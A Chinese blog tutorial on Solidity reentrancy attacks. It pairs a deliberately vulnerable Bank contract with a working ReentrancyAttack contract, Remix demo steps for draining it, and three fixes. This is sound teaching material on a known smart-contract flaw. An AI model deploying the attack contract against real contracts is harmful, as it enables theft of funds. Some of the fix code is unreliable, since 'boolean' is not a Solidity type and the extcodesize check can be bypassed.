您当前的位置: 首页 > 

33357

暂无认证

  • 4浏览

    0关注

    25博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[100个Solidity使用技巧]1、合约重入攻击

33357 发布时间:2022-07-28 10:03:56 ,浏览量:4

原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库。欢迎关注开源知识项目!

合约重入攻击 原理分析

合约重入攻击,是指在同一交易中对业务合约进行多次调用,从而实现对合约的攻击。

  • 合约重入

如果业务合约的公开方法中,有提现 Ether 或者调用第三方合约的操作,那么就可以对合约方法的进行二次以及多次调用,从而实现合约重入。

  • 重入攻击

大多数情况下,重入攻击利用了业务合约先提现 Ether 或者调用第三方合约,然后修改合约状态的漏洞,从而实现重入攻击。

流程图示
  • 合约重入
#mermaid-svg-kx70hfz3YnfMzDxd {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-kx70hfz3YnfMzDxd .error-icon{fill:#552222;}#mermaid-svg-kx70hfz3YnfMzDxd .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-kx70hfz3YnfMzDxd .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-kx70hfz3YnfMzDxd .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-kx70hfz3YnfMzDxd .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-kx70hfz3YnfMzDxd .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-kx70hfz3YnfMzDxd .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-kx70hfz3YnfMzDxd .marker{fill:#333333;stroke:#333333;}#mermaid-svg-kx70hfz3YnfMzDxd .marker.cross{stroke:#333333;}#mermaid-svg-kx70hfz3YnfMzDxd svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-kx70hfz3YnfMzDxd .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-kx70hfz3YnfMzDxd .cluster-label text{fill:#333;}#mermaid-svg-kx70hfz3YnfMzDxd .cluster-label span{color:#333;}#mermaid-svg-kx70hfz3YnfMzDxd .label text,#mermaid-svg-kx70hfz3YnfMzDxd span{fill:#333;color:#333;}#mermaid-svg-kx70hfz3YnfMzDxd .node rect,#mermaid-svg-kx70hfz3YnfMzDxd .node circle,#mermaid-svg-kx70hfz3YnfMzDxd .node ellipse,#mermaid-svg-kx70hfz3YnfMzDxd .node polygon,#mermaid-svg-kx70hfz3YnfMzDxd .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-kx70hfz3YnfMzDxd .node .label{text-align:center;}#mermaid-svg-kx70hfz3YnfMzDxd .node.clickable{cursor:pointer;}#mermaid-svg-kx70hfz3YnfMzDxd .arrowheadPath{fill:#333333;}#mermaid-svg-kx70hfz3YnfMzDxd .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-kx70hfz3YnfMzDxd .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-kx70hfz3YnfMzDxd .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-kx70hfz3YnfMzDxd .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-kx70hfz3YnfMzDxd .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-kx70hfz3YnfMzDxd .cluster text{fill:#333;}#mermaid-svg-kx70hfz3YnfMzDxd .cluster span{color:#333;}#mermaid-svg-kx70hfz3YnfMzDxd div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-kx70hfz3YnfMzDxd :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}
重入
调用者
业务合约
目标合约地址
  • 重入攻击
#mermaid-svg-dUup3TEj9b5aaZAh {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-dUup3TEj9b5aaZAh .error-icon{fill:#552222;}#mermaid-svg-dUup3TEj9b5aaZAh .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-dUup3TEj9b5aaZAh .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-dUup3TEj9b5aaZAh .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-dUup3TEj9b5aaZAh .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-dUup3TEj9b5aaZAh .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-dUup3TEj9b5aaZAh .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-dUup3TEj9b5aaZAh .marker{fill:#333333;stroke:#333333;}#mermaid-svg-dUup3TEj9b5aaZAh .marker.cross{stroke:#333333;}#mermaid-svg-dUup3TEj9b5aaZAh svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-dUup3TEj9b5aaZAh .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-dUup3TEj9b5aaZAh .cluster-label text{fill:#333;}#mermaid-svg-dUup3TEj9b5aaZAh .cluster-label span{color:#333;}#mermaid-svg-dUup3TEj9b5aaZAh .label text,#mermaid-svg-dUup3TEj9b5aaZAh span{fill:#333;color:#333;}#mermaid-svg-dUup3TEj9b5aaZAh .node rect,#mermaid-svg-dUup3TEj9b5aaZAh .node circle,#mermaid-svg-dUup3TEj9b5aaZAh .node ellipse,#mermaid-svg-dUup3TEj9b5aaZAh .node polygon,#mermaid-svg-dUup3TEj9b5aaZAh .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-dUup3TEj9b5aaZAh .node .label{text-align:center;}#mermaid-svg-dUup3TEj9b5aaZAh .node.clickable{cursor:pointer;}#mermaid-svg-dUup3TEj9b5aaZAh .arrowheadPath{fill:#333333;}#mermaid-svg-dUup3TEj9b5aaZAh .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-dUup3TEj9b5aaZAh .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-dUup3TEj9b5aaZAh .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-dUup3TEj9b5aaZAh .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-dUup3TEj9b5aaZAh .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-dUup3TEj9b5aaZAh .cluster text{fill:#333;}#mermaid-svg-dUup3TEj9b5aaZAh .cluster span{color:#333;}#mermaid-svg-dUup3TEj9b5aaZAh div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-dUup3TEj9b5aaZAh :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}
重入攻击
方法开始
状态检查
提现 Ether 或者调用第三方合约
修改状态
方法结束
示例代码

这是一个简单的 Bank 合约示例,它的功能是存入和提现 Ether。如果你看不出合约的问题,说明你正需要学习这节课。(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;

interface IBank {
    function deposit() external payable;

    function withdraw() external;
}

contract Bank {
    mapping(address => uint256) public balance;
    uint256 public totalDeposit;

    function ethBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function deposit() external payable {
        balance[msg.sender] += msg.value;
        totalDeposit += msg.value;
    }

    function withdraw() external {
        require(balance[msg.sender] > 0, "Bank: no balance");
        msg.sender.call{value: balance[msg.sender]}("");
        totalDeposit -= balance[msg.sender];
        balance[msg.sender] = 0;
    }
}

contract ReentrancyAttack {
    IBank bank;

    constructor(address _bank) {
        bank = IBank(_bank);
    }

    function doDeposit() external payable {
        bank.deposit{value: msg.value}();
    }

    function doWithdraw() external {
        bank.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        bank.withdraw();
    }
}
演示流程
  1. 打开 https://remix.ethereum.org/

  2. 选择 solidity 版本为 0.8.12,部署 Bank 合约。

  3. 将 Bank 合约地址作为参数部署 ReentrancyAttack 合约。

  4. value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether。

  5. value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether。

  6. 点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether。

  7. 点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击。

  8. 点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether。

  9. 使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付。

修复问题
  • 禁止重入
boolean public entered;

modifier nonReentrant() {
    require(!entered, "Bank: reentrant call");
    entered = true;
    _;
    entered = false;
}

function withdraw() nonReentrant external {
    require(balance[msg.sender] > 0, "Bank: no balance");
    msg.sender.call{value: balance[msg.sender]}("");
    totalDeposit -= balance[msg.sender];
    balance[msg.sender] = 0;
}

使用 nonReentrant 来禁止合约重入,可以防止重入攻击。这里推荐使用 openzeppelin 的官方防重入合约 @openzeppelin/contracts/security/ReentrancyGuard.sol

  • 在提现 Ether 或者调用第三方合约之前,先修改合约状态
function withdraw() external {
    require(balance[msg.sender] > 0, "Bank: no balance");
    uint256 _balance = balance[msg.sender];
    totalDeposit -= balance[msg.sender];
    balance[msg.sender] = 0;
    msg.sender.call{value: _balance}(""); 
}

优先修改合约状态,虽然不能禁止合约重入,但可以避免被重入攻击。

  • 禁止转账 Ether 到合约地址
function withdraw() nonReentrant external {
    require(balance[msg.sender] > 0, "Bank: no balance");
    uint256 size;
    address sender = msg.sender;
    assembly {
        size := extcodesize(sender)
    }
    require(size == 0, "Bank: cannot transfer to contract");
    msg.sender.call{value: balance[msg.sender]}("");
    totalDeposit -= balance[msg.sender];
    balance[msg.sender] = 0;
}

禁止转账 Ether 到合约地址,可以防止转账 Ether 导致的合约重入。

关注
打赏
1654608207
查看更多评论
立即登录/注册

微信扫码登录

0.0349s